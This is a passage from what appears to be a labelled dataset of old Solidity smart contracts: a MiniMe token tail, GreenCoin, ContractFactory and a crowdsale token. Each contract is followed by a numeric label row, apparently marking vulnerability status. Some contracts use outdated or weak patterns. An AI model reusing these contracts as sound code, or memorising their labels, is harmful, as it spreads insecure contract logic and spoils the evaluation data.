_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract EthealTokenV2 is MiniMeToken {
function EthealTokenV2(address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, bool _transfersEnabled)
MiniMeToken(
_tokenFactory,
_parentToken,
_parentSnapShotBlock,
"Etheal Token",
18,
"HEAL",
_transfersEnabled
)
{
}
} | 1 | 2,496 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) constant public returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant public returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) constant public returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) constant public returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
if(msg.sender == owner){
_;
}
else{
revert();
}
}
function transferOwnership(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
if(!mintingFinished){
_;
}
else{
revert();
}
}
function mint(address _to, uint256 _amount) canMint internal returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0),_to,_amount);
return true;
}
function finishMinting() internal returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract GreenCoin is MintableToken{
string public constant name = "Green Coin";
string public constant symbol = "GREEN";
uint8 public constant decimals = 18;
uint256 public constant MaxSupply = 10**18*10**7 ;
uint256 public _startTime = 0 ;
function GreenCoin(){
mint(address(0x7704C758db402bB7B1c2BbadA8af43B6B758B794),4000*10**18);
mint(address(0xbb3465742ca0b93eea8ca9362f2c4bb6240bf942),1000*10**18);
_startTime = block.timestamp ;
owner = msg.sender;
}
function GetMaxEther() returns(uint256){
return (MaxSupply.sub(totalSupply)).div(10000);
}
function IsICOOver() public constant returns(bool){
if(mintingFinished){
return true;
}
return false;
}
function IsICONotStarted() public constant returns(bool){
if(block.timestamp<_startTime){
return true;
}
return false;
}
function () public payable{
if(IsICOOver() || IsICONotStarted()){
revert();
}
else{
if(GetMaxEther()>msg.value){
mint(msg.sender,msg.value*10000);
owner.transfer(msg.value);
}
else{
mint(msg.sender,GetMaxEther()*10000);
owner.transfer(GetMaxEther());
finishMinting();
}
}
}
} | 0 | 611 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Destructible is Ownable {
function Destructible() payable { }
function destroy() onlyOwner {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner {
selfdestruct(_recipient);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
}
contract Generatable{
function generate(
address token,
address contractOwner,
uint256 cycle
) public returns(address);
}
contract ERC20 {
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract ContractFactory is Destructible,PullPayment{
using SafeERC20 for ERC20;
uint256 public diviRate;
uint256 public developerTemplateAmountLimit;
address public platformWithdrawAccount;
struct userContract{
uint256 templateId;
uint256 orderid;
address contractAddress;
uint256 incomeDistribution;
uint256 creattime;
uint256 endtime;
}
struct contractTemplate{
string templateName;
address contractGeneratorAddress;
string abiStr;
uint256 startTime;
uint256 endTime;
uint256 startUp;
uint256 profit;
uint256 quota;
uint256 cycle;
address token;
}
mapping(address => userContract[]) public userContractsMap;
mapping(uint256 => contractTemplate) public contractTemplateAddresses;
mapping(uint256 => uint256) public skipMap;
event ContractCreated(address indexed creator,uint256 templateId,uint256 orderid,address contractAddress);
event ContractTemplatePublished(uint256 indexed templateId,address creator,string templateName,address contractGeneratorAddress);
event Log(address data);
event yeLog(uint256 balanceof);
function ContractFactory(){
diviRate=5;
platformWithdrawAccount=0xc645eadc9188cb0bad4e603f78ff171dabc1b18b;
developerTemplateAmountLimit=500000000000000000;
}
function generateContract(uint256 templateId,uint256 orderid) public returns(address){
contractTemplate storage ct = contractTemplateAddresses[templateId];
if(ct.contractGeneratorAddress!=0x0){
address contractTemplateAddress = ct.contractGeneratorAddress;
string templateName = ct.templateName;
require(block.timestamp >= ct.startTime);
require(block.timestamp <= ct.endTime);
Generatable generator = Generatable(contractTemplateAddress);
address target = generator.generate(ct.token,msg.sender,ct.cycle);
userContract[] storage userContracts = userContractsMap[msg.sender];
userContracts.push(userContract(templateId,orderid,target,1,now,now.add(uint256(1 days))));
ContractCreated(msg.sender,templateId,orderid,target);
return target;
}else{
revert();
}
}
function returnOfIncome(address user,uint256 _index) public{
require(msg.sender == user);
userContract[] storage ucs = userContractsMap[user];
if(ucs[_index].contractAddress!=0x0 && ucs[_index].incomeDistribution == 1){
contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId];
if(ct.contractGeneratorAddress!=0x0){
if(now > ucs[_index].creattime.add(uint256(1 days))){
revert();
}
ERC20 token = ERC20(ct.token);
uint256 balanceof = token.balanceOf(ucs[_index].contractAddress);
uint8 decimals = token.decimals();
if(balanceof < ct.startUp) revert();
uint256 investment = 0;
if(balanceof > ct.quota.mul(10**decimals)){
investment = ct.quota.mul(10**decimals);
} else {
investment = balanceof;
}
uint256 income = ct.profit.mul(ct.cycle).mul(investment).div(36000);
if(!token.transfer(ucs[_index].contractAddress,income)){
revert();
} else {
ucs[_index].incomeDistribution = 2;
}
}else{
revert();
}
}else{
revert();
}
}
function publishContractTemplate(
uint256 templateId,
string _templateName,
address _contractGeneratorAddress,
string _abiStr,
uint256 _startTime,
uint256 _endTime,
uint256 _profit,
uint256 _startUp,
uint256 _quota,
uint256 _cycle,
address _token
)
public
{
if(msg.sender!=owner){
revert();
}
contractTemplate storage ct = contractTemplateAddresses[templateId];
if(ct.contractGeneratorAddress!=0x0){
revert();
}else{
ct.templateName = _templateName;
ct.contractGeneratorAddress = _contractGeneratorAddress;
ct.abiStr = _abiStr;
ct.startTime = _startTime;
ct.endTime = _endTime;
ct.startUp = _startUp;
ct.profit = _profit;
ct.quota = _quota;
ct.cycle = _cycle;
ct.token = _token;
ContractTemplatePublished(templateId,msg.sender,_templateName,_contractGeneratorAddress);
}
}
function queryPublishedContractTemplate(
uint256 templateId
)
public
constant
returns(
string,
address,
string,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
address
) {
contractTemplate storage ct = contractTemplateAddresses[templateId];
if(ct.contractGeneratorAddress!=0x0){
return (
ct.templateName,
ct.contractGeneratorAddress,
ct.abiStr,
ct.startTime,
ct.endTime,
ct.profit,
ct.startUp,
ct.quota,
ct.cycle,
ct.token
);
}else{
return ('',0x0,'',0,0,0,0,0,0,0x0);
}
}
function queryUserContract(address user,uint256 _index) public constant returns(
uint256,
uint256,
address,
uint256,
uint256,
uint256
){
require(msg.sender == user);
userContract[] storage ucs = userContractsMap[user];
contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId];
ERC20 tokens = ERC20(ct.token);
uint256 balanceofs = tokens.balanceOf(ucs[_index].contractAddress);
return (
ucs[_index].templateId,
ucs[_index].orderid,
ucs[_index].contractAddress,
ucs[_index].incomeDistribution,
ucs[_index].endtime,
balanceofs
);
}
function queryUserContractCount(address user) public constant returns (uint256){
require(msg.sender == user);
userContract[] storage ucs = userContractsMap[user];
return ucs.length;
}
function changeDiviRate(uint256 _diviRate) external onlyOwner(){
diviRate=_diviRate;
}
function changePlatformWithdrawAccount(address _platformWithdrawAccount) external onlyOwner(){
platformWithdrawAccount=_platformWithdrawAccount;
}
function changeDeveloperTemplateAmountLimit(uint256 _developerTemplateAmountLimit) external onlyOwner(){
developerTemplateAmountLimit=_developerTemplateAmountLimit;
}
function addSkipPrice(uint256 price) external onlyOwner(){
skipMap[price]=1;
}
function removeSkipPrice(uint256 price) external onlyOwner(){
skipMap[price]=0;
}
} | 0 | 1,336 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
revert();
}
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function mint(address _to, uint256 _amount) onlyMintAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyMintAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
mapping(address => uint) public lock_addresses;
event AddLockAddress(address addr, uint lock_time);
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
else {
if(now < lock_addresses[_sender]) {
revert();
}
}
_;
}
function ReleasableToken() {
releaseAgent = msg.sender;
}
function addLockAddressInternal(address addr, uint lock_time) inReleaseState(false) internal {
if(addr == 0x0) revert();
lock_addresses[addr]= lock_time;
AddLockAddress(addr, lock_time);
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) revert();
_;
}
modifier onlyInEmergency {
if (!halted) revert();
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract CrowdsaleLimit {
using SafeMath for uint256;
uint public startsAt;
uint public endsAt;
uint public TOKEN_MAX;
uint public PRESALE_TOKEN_IN_WEI = 9 finney;
uint public presale_eth_fund= 0;
uint public CROWDSALE_TOKEN_IN_WEI = 10 finney;
uint public PRESALE_ETH_IN_WEI_FUND_MAX = 0 ether;
uint public CROWDSALE_ETH_IN_WEI_FUND_MIN = 100 ether;
uint public CROWDSALE_ETH_IN_WEI_FUND_MAX = 1000 ether;
uint public CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN = 100 finney;
uint public CROWDSALE_GASPRICE_IN_WEI_MAX = 0;
uint public crowdsale_eth_fund= 0;
uint public crowdsale_eth_refund = 0;
mapping(address => uint) public team_addresses_token_percentage;
mapping(uint => address) public team_addresses_idx;
uint public team_address_count= 0;
uint public team_token_percentage_total= 0;
uint public team_token_percentage_max= 0;
event EndsAtChanged(uint newEndsAt);
event AddTeamAddress(address addr, uint release_time, uint token_percentage);
event Refund(address investor, uint weiAmount);
modifier allowCrowdsaleAmountLimit(){
if (msg.value == 0) revert();
if (msg.value < CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN) revert();
if((crowdsale_eth_fund.add(msg.value)) > CROWDSALE_ETH_IN_WEI_FUND_MAX) revert();
if((CROWDSALE_GASPRICE_IN_WEI_MAX > 0) && (tx.gasprice > CROWDSALE_GASPRICE_IN_WEI_MAX)) revert();
_;
}
function CrowdsaleLimit(uint _start, uint _end, uint _token_max, uint _presale_token_in_wei, uint _crowdsale_token_in_wei, uint _presale_eth_inwei_fund_max, uint _crowdsale_eth_inwei_fund_min, uint _crowdsale_eth_inwei_fund_max, uint _crowdsale_eth_inwei_accepted_min, uint _crowdsale_gasprice_inwei_max, uint _team_token_percentage_max) {
require(_start != 0);
require(_end != 0);
require(_start < _end);
if( (_presale_token_in_wei == 0) ||
(_crowdsale_token_in_wei == 0) ||
(_crowdsale_eth_inwei_fund_min == 0) ||
(_crowdsale_eth_inwei_fund_max == 0) ||
(_crowdsale_eth_inwei_accepted_min == 0) ||
(_team_token_percentage_max >= 100))
revert();
startsAt = _start;
endsAt = _end;
TOKEN_MAX = _token_max;
PRESALE_TOKEN_IN_WEI = _presale_token_in_wei;
CROWDSALE_TOKEN_IN_WEI = _crowdsale_token_in_wei;
PRESALE_ETH_IN_WEI_FUND_MAX = _presale_eth_inwei_fund_max;
CROWDSALE_ETH_IN_WEI_FUND_MIN = _crowdsale_eth_inwei_fund_min;
CROWDSALE_ETH_IN_WEI_FUND_MAX = _crowdsale_eth_inwei_fund_max;
CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN = _crowdsale_eth_inwei_accepted_min;
CROWDSALE_GASPRICE_IN_WEI_MAX = _crowdsale_gasprice_inwei_max;
team_token_percentage_max= _team_token_percentage_max;
}
function calculateTokenPresale(uint value, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.mul(multiplier).div(PRESALE_TOKEN_IN_WEI);
}
function calculateTokenCrowsale(uint value, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.mul(multiplier).div(CROWDSALE_TOKEN_IN_WEI);
}
function isMinimumGoalReached() public constant returns (bool) {
return crowdsale_eth_fund >= CROWDSALE_ETH_IN_WEI_FUND_MIN;
}
function addTeamAddressInternal(address addr, uint release_time, uint token_percentage) internal {
if((team_token_percentage_total.add(token_percentage)) > team_token_percentage_max) revert();
if((team_token_percentage_total.add(token_percentage)) > 100) revert();
if(team_addresses_token_percentage[addr] != 0) revert();
team_addresses_token_percentage[addr]= token_percentage;
team_addresses_idx[team_address_count]= addr;
team_address_count++;
team_token_percentage_total = team_token_percentage_total.add(token_percentage);
AddTeamAddress(addr, release_time, token_percentage);
}
function hasEnded() public constant returns (bool) {
return now > endsAt;
}
}
contract Crowdsale is CrowdsaleLimit, Haltable {
using SafeMath for uint256;
CrowdsaleToken public token;
address public multisigWallet;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public presaleWhitelist;
bool public whitelist_enable= true;
uint public tokensSold = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
bool public finalized;
enum State{Unknown, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Whitelisted(address addr, bool status);
event createTeamTokenEvent(address addr, uint tokens);
event Finalized();
modifier inState(State state) {
if(getState() != state) revert();
_;
}
function Crowdsale(address _token, address _multisigWallet, uint _start, uint _end, uint _token_max, uint _presale_token_in_wei, uint _crowdsale_token_in_wei, uint _presale_eth_inwei_fund_max, uint _crowdsale_eth_inwei_fund_min, uint _crowdsale_eth_inwei_fund_max, uint _crowdsale_eth_inwei_accepted_min, uint _crowdsale_gasprice_inwei_max, uint _team_token_percentage_max, bool _whitelist_enable)
CrowdsaleLimit(_start, _end, _token_max, _presale_token_in_wei, _crowdsale_token_in_wei, _presale_eth_inwei_fund_max, _crowdsale_eth_inwei_fund_min, _crowdsale_eth_inwei_fund_max, _crowdsale_eth_inwei_accepted_min, _crowdsale_gasprice_inwei_max, _team_token_percentage_max)
{
require(_token != 0x0);
require(_multisigWallet != 0x0);
token = CrowdsaleToken(_token);
multisigWallet = _multisigWallet;
whitelist_enable= _whitelist_enable;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (now < startsAt) return State.PreFunding;
else if (now <= endsAt && !isMinimumGoalReached()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && crowdsale_eth_fund > 0 && loadedRefund >= crowdsale_eth_fund) return State.Refunding;
else return State.Failure;
}
function setPresaleWhitelist(address addr, bool status) onlyOwner inState(State.PreFunding) {
require(whitelist_enable==true);
presaleWhitelist[addr] = status;
Whitelisted(addr, status);
}
function addTeamAddress(address addr, uint release_time, uint token_percentage) onlyOwner inState(State.PreFunding) external {
super.addTeamAddressInternal(addr, release_time, token_percentage);
token.addLockAddress(addr, release_time);
}
function createTeamTokenByPercentage() onlyOwner internal {
uint total= token.totalSupply();
uint tokens= total.mul(team_token_percentage_total).div(100-team_token_percentage_total);
for(uint i=0; i<team_address_count; i++) {
address addr= team_addresses_idx[i];
if(addr==0x0) continue;
uint ntoken= tokens.mul(team_addresses_token_percentage[addr]).div(team_token_percentage_total);
token.mint(addr, ntoken);
createTeamTokenEvent(addr, ntoken);
}
}
function () stopInEmergency allowCrowdsaleAmountLimit payable {
require(msg.sender != 0x0);
buyTokensCrowdsale(msg.sender);
}
function buyTokensCrowdsale(address receiver) internal {
uint256 weiAmount = msg.value;
uint256 tokenAmount= 0;
if(getState() == State.PreFunding) {
if(whitelist_enable==true) {
if(!presaleWhitelist[receiver]) {
revert();
}
}
if((PRESALE_ETH_IN_WEI_FUND_MAX > 0) && ((presale_eth_fund.add(weiAmount)) > PRESALE_ETH_IN_WEI_FUND_MAX)) revert();
tokenAmount = calculateTokenPresale(weiAmount, token.decimals());
presale_eth_fund = presale_eth_fund.add(weiAmount);
}
else if((getState() == State.Funding) || (getState() == State.Success)) {
tokenAmount = calculateTokenCrowsale(weiAmount, token.decimals());
} else {
revert();
}
if(tokenAmount == 0) {
revert();
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
crowdsale_eth_fund = crowdsale_eth_fund.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
if((TOKEN_MAX > 0) && (tokensSold > TOKEN_MAX)) revert();
token.mint(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) revert();
Invested(receiver, weiAmount, tokenAmount);
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) revert();
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) revert();
investedAmountOf[msg.sender] = 0;
crowdsale_eth_refund = crowdsale_eth_refund.add(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) revert();
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
revert();
}
endsAt = time;
EndsAtChanged(endsAt);
}
function doFinalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
revert();
}
createTeamTokenByPercentage();
token.finishMinting();
finalized = true;
Finalized();
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken {
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Mint(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
revert();
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function addLockAddress(address addr, uint lock_time) onlyMintAgent inReleaseState(false) public {
super.addLockAddressInternal(addr, lock_time);
}
} | 1 | 2,609 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
